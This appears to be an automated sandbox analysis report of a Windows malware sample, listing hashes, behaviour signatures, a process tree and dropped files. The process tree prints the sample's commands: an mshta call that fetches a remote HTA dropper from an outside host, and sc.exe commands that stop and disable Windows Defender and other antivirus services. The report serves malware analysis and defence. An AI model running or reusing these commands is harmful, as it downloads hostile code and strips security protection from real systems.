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Analysis

  • max time kernel
    151s
  • max time network
    134s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20/09/2024, 23:12

General

  • Target

    ee9d8d8f22f855560fcd0265295184bd_JaffaCakes118.exe

  • Size

    2.0MB

  • MD5

    ee9d8d8f22f855560fcd0265295184bd

  • SHA1

    78a971213af8c54425be74ca6ed3ebb8aa2d7507

  • SHA256

    2bafea62379670c8bd6532b28ec5b9b37f61e5977d852f593d215648a3d3ab5d

  • SHA512

    0d01a1f583f436d17574fad0e6fea6ddc4554665bcdead2eff605937166b00c686346f45a5bc8136dbe80c16d704b550331a239f5a1e71c58763a53aa73d3da4

  • SSDEEP

    49152:rGcGkHMGdPCuGjU6HMCR1Evp57SxrcMMFNZ0Bq6UufNoF7A:rGK1dyU6H1R2hx+rkFPCqAVoBA

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://galaint.onlinesecstats.info/?0=115&1=1&2=1&3=56&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000&12=lpplfcvkej&14=1

Signatures

  • Disables service(s) 3 TTPs
  • UAC bypass 3 TTPs 3 IoCs
  • Disables taskbar notifications via registry modification
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 64 IoCs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 15 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Drops file in System32 directory 3 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
  • Modifies registry class 33 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ee9d8d8f22f855560fcd0265295184bd_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\ee9d8d8f22f855560fcd0265295184bd_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2792
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\1049iq36070qi99.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\1049iq36070qi99.exe" -e -p7h4guvtvuazpj9m
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2536
      • C:\Users\Admin\AppData\Local\Temp\RarSFX1\x4237ws97856r61.exe
        "C:\Users\Admin\AppData\Local\Temp\RarSFX1\x4237ws97856r61.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:2712
        • C:\Users\Admin\AppData\Roaming\Protector-mmbs.exe
          C:\Users\Admin\AppData\Roaming\Protector-mmbs.exe
          4⤵
          • UAC bypass
          • Event Triggered Execution: Image File Execution Options Injection
          • Executes dropped EXE
          • Loads dropped DLL
          • Adds Run key to start application
          • Checks whether UAC is enabled
          • Drops file in System32 directory
          • System Location Discovery: System Language Discovery
          • Modifies Internet Explorer settings
          • Modifies system certificate store
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          • System policy modification
          PID:2940
          • C:\Windows\SysWOW64\mshta.exe
            mshta.exe "http://galaint.onlinesecstats.info/?0=115&1=1&2=1&3=56&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000&12=lpplfcvkej&14=1"
            5⤵
            • System Location Discovery: System Language Discovery
            • Modifies Internet Explorer settings
            PID:2080
          • C:\Windows\SysWOW64\sc.exe
            sc stop WinDefend
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:2628
          • C:\Windows\SysWOW64\sc.exe
            sc config WinDefend start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:2188
          • C:\Windows\SysWOW64\sc.exe
            sc stop msmpsvc
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:1492
          • C:\Windows\SysWOW64\sc.exe
            sc config msmpsvc start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:2312
          • C:\Windows\SysWOW64\sc.exe
            sc config ekrn start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:552
          • C:\Windows\SysWOW64\sc.exe
            sc stop AntiVirService
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:536
          • C:\Windows\SysWOW64\sc.exe
            sc config AntiVirService start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:1480
          • C:\Windows\SysWOW64\sc.exe
            sc config AntiVirSchedulerService start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:2236
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\X4237W~1.EXE" >> NUL
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2460

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\1049iq36070qi99.exe

    Filesize

    1.9MB

    MD5

    fac3d3f30e2d2ad274c26c6dc0d83532

    SHA1

    822648c93c689e7693a02a26df364a0df993f6cd

    SHA256

    f22aa504813d9e570115d5083c83981d57f86ab7a06aff4bbdf32c815d460ee2

    SHA512

    0d99e1411586a152ae3a8840d3d4d55431f73451f794e2b08cb4881b544470cf47f2c8f4e6cf167b58e2c93e5c818fe123e01870fb31d4aedf2ff53c7709ab92

  • C:\Users\Admin\AppData\Local\Temp\RarSFX1\x4237ws97856r61.exe

    Filesize

    1.8MB

    MD5

    870ff8903d2b6bc3a5835fb084cb540c

    SHA1

    e32669637335bb278a48794a779f9be6b35073ac

    SHA256

    6035cb6edc4a41b6445d85196b340c30b2ae0ea3ad7342e96fe936805bc48095

    SHA512

    ef5f5e0ad248360788428b68b55f9da1e7675b5e73ab48fb722cc79612eacc3b4e38397c102e559cd1baf08052a83ed04778534cbf8f3fc6b1a1d632f1b61789

  • memory/2536-24-0x0000000003290000-0x0000000003660000-memory.dmp

    Filesize

    3.8MB

  • memory/2536-31-0x0000000003290000-0x0000000003660000-memory.dmp

    Filesize

    3.8MB

  • memory/2712-40-0x0000000004230000-0x0000000004600000-memory.dmp

    Filesize

    3.8MB

  • memory/2712-29-0x0000000000400000-0x00000000007D0000-memory.dmp

    Filesize

    3.8MB

  • memory/2712-30-0x0000000001120000-0x00000000014F0000-memory.dmp

    Filesize

    3.8MB

  • memory/2712-46-0x0000000000400000-0x00000000007D0000-memory.dmp

    Filesize

    3.8MB

  • memory/2712-67-0x0000000004230000-0x0000000004600000-memory.dmp

    Filesize

    3.8MB

  • memory/2940-69-0x0000000000FD0000-0x00000000013A0000-memory.dmp

    Filesize

    3.8MB

  • memory/2940-76-0x0000000000400000-0x00000000007D0000-memory.dmp

    Filesize

    3.8MB

  • memory/2940-50-0x0000000000400000-0x00000000007D0000-memory.dmp

    Filesize

    3.8MB

  • memory/2940-48-0x0000000000FD0000-0x00000000013A0000-memory.dmp

    Filesize

    3.8MB

  • memory/2940-68-0x0000000000400000-0x00000000007D0000-memory.dmp

    Filesize

    3.8MB

  • memory/2940-47-0x0000000000FD0000-0x00000000013A0000-memory.dmp

    Filesize

    3.8MB

  • memory/2940-70-0x0000000000FD0000-0x00000000013A0000-memory.dmp

    Filesize

    3.8MB

  • memory/2940-71-0x0000000000400000-0x00000000007D0000-memory.dmp

    Filesize

    3.8MB

  • memory/2940-73-0x0000000000400000-0x00000000007D0000-memory.dmp

    Filesize

    3.8MB

  • memory/2940-74-0x0000000000400000-0x00000000007D0000-memory.dmp

    Filesize

    3.8MB

  • memory/2940-75-0x0000000000400000-0x00000000007D0000-memory.dmp

    Filesize

    3.8MB

  • memory/2940-49-0x0000000000FD0000-0x00000000013A0000-memory.dmp

    Filesize

    3.8MB

  • memory/2940-78-0x0000000000400000-0x00000000007D0000-memory.dmp

    Filesize

    3.8MB

  • memory/2940-79-0x0000000000400000-0x00000000007D0000-memory.dmp

    Filesize

    3.8MB

  • memory/2940-80-0x0000000000400000-0x00000000007D0000-memory.dmp

    Filesize

    3.8MB

  • memory/2940-81-0x0000000000400000-0x00000000007D0000-memory.dmp

    Filesize

    3.8MB

  • memory/2940-82-0x0000000000400000-0x00000000007D0000-memory.dmp

    Filesize

    3.8MB

  • memory/2940-83-0x0000000000400000-0x00000000007D0000-memory.dmp

    Filesize

    3.8MB

  • memory/2940-84-0x0000000000400000-0x00000000007D0000-memory.dmp

    Filesize

    3.8MB

  • memory/2940-85-0x0000000000400000-0x00000000007D0000-memory.dmp

    Filesize

    3.8MB

  • memory/2940-86-0x0000000000400000-0x00000000007D0000-memory.dmp

    Filesize

    3.8MB